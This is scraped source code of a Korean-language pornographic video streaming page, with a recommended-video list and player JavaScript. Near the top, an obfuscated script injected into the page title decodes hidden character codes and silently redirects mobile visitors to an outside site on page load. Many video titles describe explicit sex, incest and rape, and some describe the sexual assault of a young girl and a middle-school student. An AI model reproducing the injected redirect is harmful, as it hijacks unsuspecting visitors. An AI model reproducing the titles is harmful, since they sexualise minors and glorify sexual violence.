추천 영상
15:35
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>미드나잇 헬스 룸 EP48 온라인 남성 강화제는 믿을 수 있을까요? 비뇨기과 전문의가 진짜와 가짜 제품을 구별하는 방법을 알려드립니다. 비양심적인 제조업체는 동영상을 도용하는 행위를 중단해야 합니다.</title></script></script>
미드나잇 헬스 룸 EP48 온라인 남성 강화제는 믿을 수 있을까요? 비뇨기과 전문의가 진짜와 가짜 제품을 구별하는 방법을 알려드립니다. 비양심적인 제조업체는 동영상을 도용하는 행위를 중단해야 합니다.","lastmod":"2026-07-11","duration":"15:35","url":"/play/19164734.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTAvMTQwYTY3NTRjMjBmOTAwYzUxOWVlOGIzZjI5MTQxMjIuanBn.cache","vod_id":19037821,"title":"형제자매 간의 근친상간 관계: 여동생이 신부, 남동생이 신랑","lastmod":"2025-06-10","duration":"17:27","url":"/play/19037821.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjQxNmYzNGRhMzVjMDk4ODcxNzlkN2ZjZjNiOTMwZmEuanBn.cache","vod_id":18925797,"title":"스타킹 페티시가 있는 섹시한 여성이 속이 비치는 스타킹과 하이힐을 신고 질 안에 진동기를 넣어 자위합니다. 그녀는 엉덩이를 흔들며 런닝머신 위에서 진동기를 움직입니다. 매우 유혹적인 장면이니, 이런 취향이라면 놓치지 마세요.","lastmod":"2025-12-14","duration":"00:42:49","url":"/play/18925797.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDI1NDQxNjlhYWI3OGRhNjQyYTYxNzgyMTQ1MTk0N2EuanBn.cache","vod_id":18925746,"title":"이 섹시한 여자는 너무나 매혹적이어서 늦은 밤 경비원을 유혹해 섹스를 합니다. 복도로 나가 옷을 들어 올리고 서 있는 자세로 오럴 섹스를 해준 다음 뒤에서 삽입합니다. 엄청나게 유혹적인 장면이니, 이런 걸 좋아한다면 절대 놓치지 마세요.","lastmod":"2025-12-14","duration":"00:50:53","url":"/play/18925746.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDIvNjU4OWY4NjNiMTIwY2QyOWQxZDVmOTcxYjU3NGNmZjguanBn.cache","vod_id":19036279,"title":"속도 경쟁은 정말 끔찍해, 최대한 피해야 해!","lastmod":"2025-06-02","duration":"19:40","url":"/play/19036279.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmU1ZTJkMGY5MTI4N2Y4M2I4YTU4OTYzOGNhNWJlMDQuanBn.cache","vod_id":18945290,"title":"섹시하고 글래머러스한 젊은 여성이 끈팬티를 입고 엉덩이를 흔드는 가운데, 커다란 페니스와 진동 딜도로 뒤에서 삽입당하고 있습니다. невероятно 유혹적인 장면이니 절대 놓치지 마세요!","lastmod":"2025-03-22","duration":"01:04:47","url":"/play/18945290.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmU3OWFjYzcyNDNlMmYzNjIwMDhhZjBhODk1ZDdmMjMuanBn.cache","vod_id":19014528,"title":"ARA353 [아름답고 귀여운] 21살 [엄청난 성욕] 린짱이 왔어요! 눈부신 몸매와 E컵 가슴을 자랑하는 그녀는 \"섹스를 안 하면 안절부절못한다\"는 이유로 지원했답니다. 엄청난 성욕을 가진 그녀는 스트레스 해소를 위해 이곳에 왔어요! [민감하고 빠른 반응] \"참을 수가 없었어요...그래서 이렇게 빨리 사정했어요♪\" 그녀의 [은밀한] 공간 깊숙이 거침없이 파고드는 라이딩 자세와 오르가즘을 놓치지 마세요!","lastmod":"2025-03-24","duration":"01:12:02","url":"/play/19014528.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWZhZjUyNzA0MjA1M2I4MmY2OGZjOWY0MWIyYTQ0ODguanBn.cache","vod_id":18992840,"title":"IPX-356 소꿉친구 BSS 제발 나 말고 다른 사람에게 성적인 욕망을 품지 마... 제시카 키자키 1","lastmod":"2025-12-14","duration":"01:57:45","url":"/play/18992840.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWM0Yjc0NTFhNDZlODdhZTJkZTE1MDhmYjM4OWZmYjYuanBn.cache","vod_id":18994202,"title":"SSNI-521 아버지와 오빠에게 NTR 당하는 아름답지만 집착적인 여교사의 미니스커트 유혹 - 요시타카 네네 1","lastmod":"2025-12-14","duration":"01:58:36","url":"/play/18994202.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODljYTUzYzBmZTUxODBjNDE2YzM4ODg0YTk0NmRjM2EuanBn.cache","vod_id":19147900,"title":"통통한 남자는 마른 젊은 여성과 한 시간 동안 카메라 앞에서 격투를 벌이며, 전혀 뒤지지 않는 실력과 인상적인 기술, 표정 연기를 선보였습니다.","lastmod":"2026-03-12","duration":"48:16","url":"/play/19147900.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDY2ODBmYmRmY2E1NTVhYmNlMzM2MmVhMDU0MmI0YmIuanBn.cache","vod_id":18973428,"title":"SDMF-033 10년 만에 처음으로 함께 목욕하는 남매. 순진한 오빠는 발기를 주체할 수 없어 글래머러스한 여동생과 거의 매일 사랑을 나눈다. 핑크 패밀리 VOL.35 카시와기 코나츠","lastmod":"2025-12-14","duration":"02:16:33","url":"/play/18973428.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYTg1MTQ1OWI1MDA5Y2NkYmQ0YzE1ZTMzNDQ3ZTVhNWYuanBn.cache","vod_id":19149826,"title":"풋풋한 어린 소녀의 질이 못된 오빠에게 유린당했다.","lastmod":"2026-03-23","duration":"10:47","url":"/play/19149826.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDFjOTY2ZmI0Y2Q1ZDY0MWQ3MzAyMTZiMzE4MzAwZDQuanBn.cache","vod_id":18982563,"title":"갓 도착한 예쁜 젊은 유부녀는 식사를 하면서 가슴을 드러내고 남자들과 시시덕거렸다. 그녀는 가슴을 문지르고, 성기를 만지고, 자위하며 신음 소리를 냈다. 남자들과의 그녀의 모습은 매우 자극적이니 놓치지 마세요!","lastmod":"2025-12-14","duration":"01:06:27","url":"/play/18982563.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjQ0YWFkZDYwYjQ2Y2FjMzE1Yzg1NWRhZjE5YjJhZDcuanBn.cache","vod_id":18995179,"title":"[HD 중국어] 부모를 잃은 여동생은 음탕한 말로 오빠를 자극한 후, 그를 올라타는 자세로 성폭행하며 성적으로 문란한 짐승으로 변모한다.","lastmod":"2025-03-23","duration":"01:58:01","url":"/play/18995179.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDQ1YzYxYmRjY2JmYjNjYzAzZDhiYTU1OGU4ZDY3ZDMuanBn.cache","vod_id":19000515,"title":"아름다운 젊은 여성이 나이 든 남자에게 너무 심하게 성폭행을 당해서 더 이상 견딜 수 없었다.","lastmod":"2025-03-23","duration":"01:08:07","url":"/play/19000515.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDIvYjVhMDIzZjZhY2E3MDFhOTFmMGU1ODc2OGNkZmJjYjEuanBn.cache","vod_id":19027562,"title":"수치스러운 포로 신세가 된 유키노 선배는 이제 내 손아귀에 있다.","lastmod":"2025-04-02","duration":"48:19","url":"/play/19027562.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWNjYTIzZWU4YzJhZGJhNmY0OTY3NjJjNGRhYjQzYjkuanBn.cache","vod_id":18956570,"title":"섬 커뮤니티 웹사이트에 올라온 남매 간의 근친상간 이야기는 거대한 성기를 가진 오빠가 여동생을 강제로 성폭행했다는 전설적인 이야기입니다. 뜻밖에도 여동생은 아직 처녀였습니다. 방 안에는 여동생의 살려달라는 애원과 고통스러운 신음 소리가 울려 퍼졌습니다.","lastmod":"2025-03-22","duration":"00:20:11","url":"/play/18956570.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmQxN2E0NDcxNWY4YzE2NGRiZjZkMzQzOTJlODFkNTYuanBn.cache","vod_id":18976320,"title":"JKSR-606 오빠와 귀엽고 섹시한 여동생의 성관계 영상 모음 [유출] 여학생, 가족 간 근친상간 9","lastmod":"2025-03-23","duration":"02:53:28","url":"/play/18976320.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTQ0ODhlMmQ4MDY5NmM3MjVhZDc5NDllM2JkODM2M2EuanBn.cache","vod_id":19024571,"title":"선배, 안에 사정하지 마세요! 중학생이 학생회 임원에게 성폭행을 당했어요! 정말 짐승 같은 놈이에요!","lastmod":"2025-03-24","duration":"12:26","url":"/play/19024571.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDhhN2UyZTYzYWVjODMwNzk0NTQyY2VkYzQwNDkwN2YuanBn.cache","vod_id":18960158,"title":"남동생과 올케의 근친상간 관계. 유혹의 달인인 남동생은 달콤한 말로 올케를 유혹한다. 자궁내 피임기구를 착용한 올케는 임신을 두려워하지 않는다. 남동생은 올케와 피임 없이 성관계를 맺고, 구강성교와 사정까지 한다. 너무나 황홀하다! 남동생은 빨간 속옷을 입은 올케에게 오럴 섹스를 해주고 질내 사정까지 하게 한다.","lastmod":"2025-12-14","duration":"00:10:12","url":"/play/18960158.html"}]},
videoTitle: '미나, 제발 나 만지지 마, 오빠.',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}